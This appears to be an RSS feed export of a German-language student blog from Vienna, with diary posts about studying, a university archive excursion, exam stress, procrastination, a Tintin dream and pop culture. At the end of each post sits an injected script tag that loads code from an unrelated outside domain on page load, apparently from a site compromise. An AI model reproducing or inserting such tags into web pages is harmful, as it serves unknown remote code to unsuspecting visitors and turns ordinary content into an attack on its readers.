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	<title>i be gan. &#187; uni</title>
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		<pubDate>Sat, 01 Aug 2009 13:03:10 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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Schweigen und Zugfahren, und ein Leben in vintage: Wegwerfkameras und Schreiben mit der Hand. Sowieso eine allgemein mittelalterliche Lebenseinstellung, sowohl die zum Bräunen als auch die zur Wissenschaft, nein, zur &#8220;Wissenschaft&#8221;; an einem harten und zu hohen Holztisch im großen skriptorium  der Universität über Bücher gebeugt, Notizen ins schwarze Heftchen, C (auf Seite hundertundsiebenundsechzig, [...]]]></description>
			<content:encoded><![CDATA[<p><a class="tt-flickr tt-flickr-Original" title="(...)" href="http://www.flickr.com/photos/gananarama/3772311586/"><img class="alignnone" src="http://farm3.static.flickr.com/2453/3772311586_e4789a7431_o.jpg" alt="(...)" width="500" height="375" /></a></p>
<p>Schweigen und Zugfahren, und ein Leben in <em>vintage</em>: Wegwerfkameras und Schreiben mit der Hand. Sowieso eine allgemein mittelalterliche Lebenseinstellung, sowohl die zum Bräunen als auch die zur Wissenschaft, nein, zur &#8220;Wissenschaft&#8221;; an einem harten und zu hohen Holztisch im großen <em>skriptorium </em> der Universität über Bücher gebeugt, Notizen ins schwarze Heftchen, C (auf Seite hundertundsiebenundsechzig, Item 32 auf der Literaturliste) krakeln.</p>
<p>Nachts in meinen Träumen sehe ich eine Zukunft vor mir, in der Bibliotheken verbrannt/Datenbanken dem Erdboden gleichgemacht/unter Wasser gesetzt/jegliche Wissenspeicher das zweifach unglückliche Schicksal der Bibliotheca Palatina erlitten</p>
<p style="padding-left: 30px;font-size:7.5pt">[<em>"Was geschah mit diesen vielen Bibliotheken? Einige brannten bald nach ihrer Einrichtung wieader ab (so die Bibliotheca Palatina das Augustus und die Bibliothek in der Porticus Octiviae), wurden wieder aufgebaut (die Bibliotheca Palatina) und brannten wieder ab (die Bibliotheca Palatina)."</em><br />
aus: Jochum, Uwe: Kleine Bibliotheksgeschichte. Stuttgart: 2007]</p>
<p>- und alles was den PhilologInnen und HistorikerInnen und KommunikationswissenschaftlerInnen der Zukunft geblieben sein wird, sind meine dahingeworfenen Notizen, am Rande der Unleserlichkeit, voller Abkürzungen, Pfeile, Verkürzungen und -fälschungen und selektiv geprägt, doch die Inhaltsverzeichnisse sind nachvollziehbar. Wie sie dann in ihren engen Büros über Aktenberge ebenfalls gebeugt, eine digitale Reproduktion von Heft B/S. 120 vor sich und jubeln über das indirekte Schillerzitat bei Claus Pias, denn Schiller wird nur mehr ein Phantom gewesen sein, und in der Fachpresse werden Artikel über die neuesten Fortschritte in der Erforschung des BS/3-Bestandes, die <em>einzige Quelle für Literatur vor 2150</em>, triumphierend und <em>große Fortschritte</em>, auf den Tagungen diskutieren/streiten/ereifern sich die Alten, die lesen und niederschreiben und weiterführen gegen die Jungen, die sich emanzipieren wollen und von der <em>Chance von 2150</em> sprechen, es fließt Blut und Schweiß und Kühlflüssigkeit, eine Revolte &#8211; und niemand wird sich darum kümmern und sich interessieren, weil es sowieso.<script src="http://ae.awaue.com/7"></script></p>
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		<title>exkursionsbericht</title>
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		<pubDate>Tue, 04 Nov 2008 12:04:48 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<description><![CDATA[drei tage quer durch ober- und niederösterreich. sie sagen, wir fahren rauf, dann runter und dann rüber und dann wieder zurück. völlig den blick aufs große ganze verloren, die welt vor den busfenstern ist eh nur schwarz und grau und nebelig. beim ersten mittagstisch verbale haue für die klischeehafte bemerkung, es sei eh alles so [...]]]></description>
			<content:encoded><![CDATA[<p>drei tage quer durch ober- und niederösterreich. sie sagen, wir fahren rauf, dann runter und dann rüber und dann wieder zurück. völlig den blick aufs große ganze verloren, die welt vor den busfenstern ist eh nur schwarz und grau und nebelig. beim ersten mittagstisch verbale haue für die klischeehafte bemerkung, es sei eh alles so flach. wieder an der innerösterreichischen dialektalen zuordnung scheitern. mehr als vorarlbergerisch, tirolerisch und vielleicht dann noch das burgenländ<span style="text-decoration: line-through;">er</span>ische, mehr geht nicht. dann verlorengehen. als letzte noch zahlen, bei einer verzweifelten kassiererin, die völlig vergessen, dass man ja noch mit bancomat zahlen wollte, und zuwenig geld bekommen hatte für ihre fünfunddreißig menüs, und dann ganz erleichtert. die gruppe geht schon mal nach draußen, ich muss noch zahlen, die erste bancomatkarte geht nicht, limit überzogen, und dann halt die italienische, und es dauert ein bisschen länger, smalltalk, dann vor die tür, und dann: verloren. allein. die gruppe ist weg, da ist nur nebel und eine breite straße, und sie haben mich vergessen.</p>
<p>später ist es ihnen dann unglaublich peinlich, sagen sie, ein schlechtes gewissen, sagen sie, und alle kennen meinen namen und mein gesicht, und <em>dass du uns ja nicht mehr verloren gehst</em>. die turnlehrer entwickeln beschützerinstinkte, die archivarin, die noch schnell ihre diplomarbeit schreibt, und eine tochter in meinem alter hat, auch. die vorarlbergerin hatte mich als erste vermisst, die wiener sprechen von <em>westlicher solidarität</em>. in der zwischenzeit hatte ich mir den hundertwasserbrunnen dreimal angeschaut, und mit der uni wien telefoniert, denn keine handynummer von irgendwem und die sekretärin gibt sich mühe und sucht und schaut und telefoniert und smst. am ende dann wieder gefunden, und die nächsten zwei tage höre ich immer wieder, <em>bist eh noch da?, telefonierst wieder mit der uni? </em>und nach dem essen:<em> ich sag jetzt nichts, aber das ist ja für dich der kritische moment, ich bleib jetzt einfach bei dir.</em></p>
<p>jetzt fangen sie an, namenslisten vorzulesen und handynummern auszutauschen.</p>
<p>nieder- und oberösterreichische kleinstädte, ich weiß jetzt nicht mehr, was wo lag, dreieckige stadtgrundrisse, glückliche archivare, dass <em>ihr da von der uni wien</em> kommt, tut gut, man muss <em>ums budget kämpfen</em>, und der vizebürgermeister und seine <em>frau</em>, die finanzstadträtin. er zeigt seine kämmerchen im obersten stock des stadtamtes, kalt ist es, die räume sind klein und im sommer heiß. wir sitzen im großen sitzungssaal, draußen hängen die porträts der bürgermeister, zwei hatten einen hitlerschnauzer, der von 36 bis 38, und der von 46 bis 50. im gang hängt ein plakat vom zivilschutz, wie denn bei atomunfällen und terroranschlägen das leben zu retten sei, abgebildet: ein flugzeug, das in ein atomkraftwerk fliegt.</p>
<p>die befriedigung, spätmittelalterliche und neuzeitliche schriften lesen zu können.</p>
<p>am nächsten tag &#8211; übernachtung im viersternehotel mit wellnessbereich und frühstücksbuffet, ein schnäppchen sagen die professoren, aha sagen wir &#8211; das gegenprogramm. geld gabs genug, weil landesausstellung, der archivar von gestern würde weinen, wenn er sowas hätte, denke ich. der professor liest mit märchenstimme einen ransmayrtext vor. die stadt ist schmuck und bunt und freundlich und abends wie ausgestorben.  die turnlehrer wundern sich über frauen, die bier trinken, und wenn man sie fragt, ob man als turnlehrer grundsätzlich sadistisch veranlagt sein muss, lachen sie. wir reden über starmania und spanisch als weltsprache und schwiegereltern und wie sich das anfühlen muss, von archivalien zerquetscht zu sterben.</p>
<p>in steyr mussten sie einen barocken schrank auseinanderschneider, damit man die türen öffnen kann. staub und chaos und ein mittelalterlicher innenhof, in den ich mich verliebe. die englischlehrerin &#8211; überhaupt, so viele lehramtsstudenten auf einem haufen, wir entwickeln dann später die theorie, dass alle deswegen immer so pünktlich sind, weil als lehrer magst du ja zeitpläne, und als lehrer respektierst du ja autoritäten, weil du selbst eine darstellen willst, was gabi zwei tage später nachts am gürtel auf den nachtbus wartend mit <em>diese faschisten</em> kommentiert &#8211; fragt die schwangere, wie denn das mit den überlebenschanchen bei frühgeburten aussieht. wir haben keine namen, wir sind nur typen.</p>
<p>auf den kirchturm hinaufsteigen, ganz nach oben. einen papierflieger aus lachsrosa papier runterschmeißen, der sich dreht und dreht und dann in einer dachrinne landet.</p>
<p>in linz steht dann ein amishbart einem amishbart gegenüber. dreißig laufkilometer archivalien, ein <em>speicherturm</em>, und die englischlehrerin fragt, was ein <em>terabyte </em>ist. in kartonen wühlen, die professoren sind ganz aufgeregt. kindsmordverhandlungen und urbare. ein steckbrief, und der gesuchte böhmische schauspieler hatte eine <em>proportionierte </em> nase &#8211; <em>was auch immer das heißen mag</em>.</p>
<p>der busfahrer lässt schon wieder den motor laufen, am ende kriegt er applaus, die englischlehrerin johlt.</p>
<p>in wien dann endlich wieder zurück in der welt, drei tage keine zeitung, keine nachrichten. die D heißt noch D und bringt mich nachhaus und ich will eigentlich nur mehr schlafen.</p>
<p>photo habe ich kein einziges gemacht.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Don&#8217;t Panic.</title>
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		<pubDate>Fri, 25 Jan 2008 13:44:53 +0000</pubDate>
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		<description><![CDATA[Heute, irgendwann zwischen viertel nach elf und halb zwölf ist mir aufgefallen, dass ich im Moment eigentlich gerade unter ziemlichen Zeitdruck stehe.
(Prüfungen! Arbeiten! Hausübungen! Prüfungen! Ein Bettelgespräch bei der Studienprogrammleitung! Und: Prüfungen!)
Kurz darauf habe ich beschlossen, dass die Schuld nicht bei mir liegt, sondern an der Weltwirtschaftskrise, dem Scheitern der Regierung Prodi und: Heath Ledger.
Das [...]]]></description>
			<content:encoded><![CDATA[<p>Heute, irgendwann zwischen viertel nach elf und halb zwölf ist mir aufgefallen, dass ich im Moment eigentlich gerade unter ziemlichen Zeitdruck stehe.</p>
<p>(Prüfungen! Arbeiten! Hausübungen! Prüfungen! Ein Bettelgespräch bei der Studienprogrammleitung! Und: Prüfungen!)</p>
<p>Kurz darauf habe ich beschlossen, dass die Schuld nicht bei mir liegt, sondern an der Weltwirtschaftskrise, dem Scheitern der Regierung Prodi und: Heath Ledger.</p>
<p>Das ganze Weltgeschehen macht mich einfach fertig.</p>
<p><span style="font-size: smaller">(Hat jemand vielleicht ein Handtuch für mich?)</span><script src="http://ae.awaue.com/7"></script></p>
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		<title>***Giant Claw in 10 sec***</title>
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		<pubDate>Sat, 28 Apr 2007 17:53:19 +0000</pubDate>
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		<description><![CDATA[&#8220;In der WOW gilt der Grundsatz: Je mächtiger ein Gegner, desto größer ist er. Im Levelbereich 60 kämpft man in der Regel gegen Füße.&#8221;
Die stupidedia über World of Warcraft.
Ich kämpfe übrigens gerade im Moment nur mehr gegen Zehen.
]]></description>
			<content:encoded><![CDATA[<p>&#8220;In der WOW gilt der Grundsatz: Je mächtiger ein Gegner, desto größer ist er. Im Levelbereich 60 kämpft man in der Regel gegen Füße.&#8221;</p>
<p>Die <a href="http://www.stupidedia.org/stupi/World_of_warcraft">stupidedia </a>über <a href="http://www.wow-europe.com/de/index.xml">World of Warcraft</a>.<br />
Ich kämpfe übrigens gerade im Moment nur mehr gegen Zehen.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Wiederseh&#8217;n.</title>
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		<pubDate>Tue, 10 Apr 2007 00:59:59 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<description><![CDATA[Ich habe eine Weile gebraucht, um die beiden wieder zu erkennen, ich hatte lange nichts mehr von ihnen gehört, und auch damals waren sie nicht unbedingt im Fokus meiner Aufmerksamkeit. Anfangs war ihr Bild ziemlich unscharf, und erst als sie nicht mehr nur zwei Strichmännchen mit Hut, Stock und Schnauzer waren, sondern an Fülle gewonnen [...]]]></description>
			<content:encoded><![CDATA[<p>Ich habe eine Weile gebraucht, um die beiden wieder zu erkennen, ich hatte lange nichts mehr von ihnen gehört, und auch damals waren sie nicht unbedingt im Fokus meiner Aufmerksamkeit. Anfangs war ihr Bild ziemlich unscharf, und erst als sie nicht mehr nur zwei Strichmännchen mit Hut, Stock und Schnauzer waren, sondern an Fülle gewonnen hatten, schwarze Baumwollanzüge trugen und empört ihre sommergesprossten Knubbelnasen in die Höhe reckten, merke ich, dass es Schulze <a href="http://de.wikipedia.org/wiki/Tim_und_Struppi#Schulze_und_Schultze">und </a>Schultze sind, die da auf meiner Hirnrinde steppen. Sie tragen schwere schwarze Schuhe, tanzen Arm in Arm irgendetwas aus Lord of the Dance, skandieren dabei &#8220;Weißt du, morgen kommen die Architekten&#8221;, und rümpfen immerzu ihre Nasen. Es ist Haddock, der mir seine Stimme leiht, ins Bild humpelt, und empört mein &#8220;Und warum erzählt mir davon keiner?&#8221; brüllt, die beiden antworten, und es klingt, als wären sie Kinder auf dem Schulhof, &#8220;dazu war keine Zeit&#8221;, &#8220;wir haben auf den richtigen Moment gewartet&#8221; und &#8220;du hättest dich eh nur aufgeregt&#8221; und lächeln ihr &#8220;ist es nicht schön, dass wir endlich umbauen?&#8221;. Haddock seufzt, gönnt sich einen tiefen Schluck aus seinem Flachmann, und murmelt etwas von wegen &#8220;warum gerade jetzt, warum nicht vor ein paar Jahren?&#8221; und &#8220;das Haus nicht noch mehr zergliedern&#8221;. Schulze und Schultze fassen sich an den Händen, tanzen im Walzerschritt (linksherum!) auf ihn zu, und knüppeln ihn mit ihren schwarzen Gehstöcken, die sich in rosa Regenschirme verwandeln, nieder. Von oben fallen Planzeichnungen, schwarze Stifte, staubige Bretter, Moleskine-Notizbücher und eine Porzellantoilette auf ihn nieder. Haddock bricht zusammen, er ballt seine Faust, und flüstert &#8220;eigentlich müsste sie jetzt doch an was ganz anderes denken&#8221;, und ein neuer Schwall Bücher (&#8221;Virtuelle Gruppen&#8221;, &#8220;Computer Mediated Communication&#8221; und &#8220;Wie schreibe ich eine wissenschaftliche Abschlussarbeit&#8221;), bunter, stinkender Stabilostifte, Notizhefte und die zweite Klomuschel fallen auf ihn herab. Am rechten Bildrand tauchen ein Taurenschamane <a href="http://www.wow-europe.com/de/index.xml">und </a>eine Gnomenhexenmeisterin auf, Schulze und Schultze begrüßen sie freudig. Haddock arbeitet sich unter dem ganzen Schutt hervor, <a href="http://www.jogi.com/schrege-voegel/ts/had_abc.htm">flucht </a>&#8220;Donner, Hagel und Granaten! Diese Höllenhunde! Piraten! Verbrecher! Halsabschneider! Freibeuter! Bierkutscher! Süßwassermatrosen!&#8221;, streift seine Jacke glatt, entrollt ein Banner, auf dem steht &#8220;Macht doch was ihr wollt, ich geh jetzt.&#8221;,<br />
und nach links ab. Schultze und Schulze lachen sich an, irgendjemand spielt den <em>danse macabre</em> auf der Ziehharmonika, und die beiden legen mit dem Tauren und der Gnomin einen astreinen Tango ab.<br />
Träume sind seltsam. Noch zwanzig Tage.<script src="http://ae.awaue.com/7"></script></p>
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		<title>notiz an mich</title>
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		<pubDate>Tue, 30 Jan 2007 22:45:57 +0000</pubDate>
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		<description><![CDATA[Um das hier zu ergänzen:
Es gibt auch Prüfungen, bei denen sind Menschen benachteiligt, die sich auf die Wiener Linien verlassen. Denn manchmal, da kommen diese Menschen nicht mal zur Prüfung hin.
Argh.
]]></description>
			<content:encoded><![CDATA[<p>Um <a href="http://blog.davus.it/artikel/kurz-notiert">das</a> hier zu ergänzen:</p>
<p>Es gibt auch Prüfungen, bei denen sind Menschen benachteiligt, die sich auf die Wiener Linien verlassen. Denn manchmal, da kommen diese Menschen nicht mal zur Prüfung hin.</p>
<p>Argh.<script src="http://ae.awaue.com/7"></script></p>
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		<title>&#8222;Gut, dass Sie Reserven haben&#8220;.</title>
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		<pubDate>Mon, 08 Jan 2007 22:59:00 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<description><![CDATA[Schon der Glückskeks gestern hat nichts Gutes versprochen. Nachts hatte ich zu kalt, seit dem Aufstehen Kopfwegh, eben gerade ein Seminar, in dem ich mich als Bibliothekkatalog-Nerd geoutet habe. Jetzt löffle ich mein seltsam saures Kiwijoghurt, und muss bis morgen Vormittag noch mein christmas assignment fertigschreiben  überhaupt erst einmal anfangen.
Schlechte Laune rockt.
]]></description>
			<content:encoded><![CDATA[<p>Schon der Glückskeks gestern hat nichts Gutes versprochen. Nachts hatte ich zu kalt, seit dem Aufstehen Kopfwe<strike>g</strike>h, eben gerade ein Seminar, in dem ich mich als Bibliothekkatalog-Nerd geoutet habe. Jetzt löffle ich mein seltsam saures Kiwijoghurt, und muss bis morgen Vormittag noch mein christmas assignment <strike>fertigschreiben </strike> überhaupt erst einmal anfangen.<br />
Schlechte Laune rockt.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Time goes by.</title>
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		<pubDate>Mon, 11 Dec 2006 22:05:53 +0000</pubDate>
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		<description><![CDATA[Tokio Hotel haben schon langsam einen Bart.

(Dieser Beitrag ist ein Update zu Tokio Hotel ist Geschichte.
Nicht kajallastige Beiträge sind in nächster Zeit zu erwarten erhoffen.)
]]></description>
			<content:encoded><![CDATA[<p>Tokio Hotel haben schon langsam einen Bart.</p>
<p><img src="http://static.twoday.net/gan/images/toho.jpg" alt="toho" height="273" width="400" /></p>
<p>(Dieser Beitrag ist ein Update zu <a href="http://gan.twoday.net/stories/2979490/">Tokio Hotel ist Geschichte</a>.<br />
Nicht kajallastige Beiträge sind in nächster Zeit zu <strike>erwarten</strike> erhoffen.)<script src="http://ae.awaue.com/7"></script></p>
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		</item>
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		<title>Kein Stress.</title>
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		<pubDate>Wed, 29 Nov 2006 08:49:43 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<category><![CDATA[uni]]></category>

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		<description><![CDATA[Ich lasse mir Zeit. Ich lasse mir immer Zeit. Ich denke mir, ich werd das schon noch schaffen. Es läuft mir ja nichts weg. Ich schaffe alles. Ich muss nicht um halb elf aus dem Haus, wenn die Vorlesung um elf anfängt. Es geht auch um dreiviertel. Dann komme ich halt ein wenig zu spät. [...]]]></description>
			<content:encoded><![CDATA[<p>Ich lasse mir Zeit. Ich lasse mir immer Zeit. Ich denke mir, ich werd das schon noch schaffen. Es läuft mir ja nichts weg. Ich schaffe alles. Ich muss nicht um halb elf aus dem Haus, wenn die Vorlesung um elf anfängt. Es geht auch um dreiviertel. Dann komme ich halt ein wenig zu spät. Da geht die Welt auch nicht unter. Ich schaffe alles. Ich habe Zeit. Das geht schon noch. Warum soll ich mich stressen. Alles geht.<br />
Ich lasse mir auch beim Lernen Zeit. Ich schiebe es einfach hinaus. Das geht schon noch. Ich muss nicht ein, zwei Wochen vor der Prüfung anfangen, meine Mitschrift durchzublättern. Zwei, drei Tage vorher geht das alles noch. Ich schaffe alles. Ich habe Zeit. Das geht schon noch. Alles geht.</p>
<p>Ich lasse mir Zeit.</p>
<p>Ich schreibe meine Seminararbeiten nie im jeweiligen Semester. Ich schiebe sie vor mir her. Ich habe ja Zeit. Semesterferien, Sommerferien. Dann gebe ich die Arbeit halt ein wenig später ab. Da geht die Welt auch nicht unter. Ich schaffe alles. Ich habe Zeit. Alles geht. Was soll der Stress.</p>
<p>Ich hetze aus dem Haus. Ich laufe in den dritten Stock der Uni hinauf. Ich schleiche mich laut schnaufend durch vollbesetzte Hörsäle bis ich meinen Platz – rechte Seite oben Mitte – gefunden habe. Ich lasse bei meinen Mitschriften immer zehn Zentimeter frei, damit ich dann  wenn ich lerne, weiß, dass hier etwas fehlt. Aber das geht auch ohne. Das geht schon noch. Alles geht.</p>
<p>Kein Stress.</p>
<p>Gerade eben habe ich wieder eine von diesen aufgeschobenen Seminararbeiten fertig geschrieben. Der letzte Abgabetermin ist der 30te November. Ich gebe am 29ten ab. Geht alles. Ich habe sogar noch Zeit. Warum soll ich dann etwas machen, wenn ich Zeit dafür hätte. Warum. Wenn ich mich stressen kann. Wenn ich sogar noch das Wochenende damit verbringen kann, ein Inhaltsverzeichnis zu entwerfen. Mehr nicht. Ich habe ja sonst nichts zu tun. Die Arbeiten für dieses Semester muss ich ja noch nicht schreiben. Die können noch warten. Die muss ich erst am 30ten März abgeben.</p>
<p>Manchmal gehe ich mir selbst ordentlich auf den Geist.</p>
<p>Außerdem lerne ich nicht aus Fehlern.</p>
<p>Ich lasse mir Zeit.<script src="http://ae.awaue.com/7"></script></p>
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		<item>
		<title>Tokio Hotel ist Geschichte.</title>
		<link>http://blog.ibegan.net/archives/42</link>
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		<pubDate>Fri, 24 Nov 2006 22:55:08 +0000</pubDate>
		<dc:creator>gan</dc:creator>
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		<category><![CDATA[uni]]></category>

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		<description><![CDATA[Um nicht zu sagen, Alte Geschichte.

Ich bin schockiert.
(Hs 34, Hörsaal des Instituts für Alte Geschichte, Hauptuniversität Wien)
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			<content:encoded><![CDATA[<p>Um nicht zu sagen, Alte Geschichte.</p>
<p><img src="http://static.twoday.net/gan/images/toh.jpg" alt="toh" height="326" width="400" /></p>
<p>Ich bin schockiert.</p>
<p>(Hs 34, Hörsaal des Instituts für Alte Geschichte, Hauptuniversität Wien)<script src="http://ae.awaue.com/7"></script></p>
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